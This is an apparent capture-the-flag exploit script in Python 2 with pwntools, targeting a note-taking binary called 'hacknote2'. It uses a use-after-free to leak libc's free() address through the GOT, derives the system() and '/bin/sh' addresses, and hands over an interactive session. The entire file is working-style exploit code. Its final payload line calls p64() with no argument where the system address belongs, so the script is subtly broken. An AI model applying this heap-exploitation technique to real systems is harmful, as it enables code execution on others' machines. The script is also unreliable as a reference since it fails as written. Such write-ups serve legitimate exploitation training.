# -*- coding: UTF-8 -*-
#!/usr/bin/env python 

from pwn import *

LOCAL  = True
Debug  = True
SERVER = '172.16.113.50'
PORT   = 12042
Binary = 'hacknote2'

if LOCAL:
    libc = ELF('../../libc-2.19.so')
else:
    libc = ELF('./libc.so.6')

      
def L(msg):
    if Debug:
        print msg

if not LOCAL:
    r = remote(SERVER, PORT)
else:
    r = process('./{}'.format(Binary))
    L(r.proc.pid)
    a = raw_input('Wait gdb attach...\n')

"""
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
"""

def add_note(size, content):
    r.sendafter('Your choice :' , '1'       )
    r.sendafter('Note size :'   , size      )
    r.sendafter('Content :'     , content   )    

def del_note(index):
    r.sendlineafter('Your choice :' , '2'       )
    r.sendlineafter('Index :'       , index     )   

def print_note(index):
    r.sendlineafter('Your choice :' , '3'       )
    r.sendlineafter('Index :'       , index     )    



if __name__ == "__main__":

    # del_note not null the point 
    
    print_note_content = 0x400886
    free_plt           = 0x602018
    notelist           = 0x6020c0

    add_note('32', 'aaaa') #0
    add_note('32', 'aaaa') #1           
    
    del_note('1')
    del_note('0')

    add_note('16', p64(print_note_content) + p64(free_plt) ) 
    #2 head    = #0's chunk head,
    #  content = #1's chunk head  = #0's content
    
    
    print_note('1')          # leak address
    data =  r.recvuntil('\n')[:-1]
    free_add = u64(data.ljust(8,'\x00'))
    print 'free_add :', hex(free_add) 
    sys_add = free_add - libc.symbols['free'] + libc.symbols['system']
    print 'sys_add :', hex(sys_add)
    libc_sh = free_add - libc.symbols['free'] + list(libc.search('/bin/sh'))[0]  
 

    del_note('0')
    add_note('16', p64() + p64(libc_sh) )  #3 content = #1's chunk head 
    
    #print_note('1')
 
    r.interactive()
 
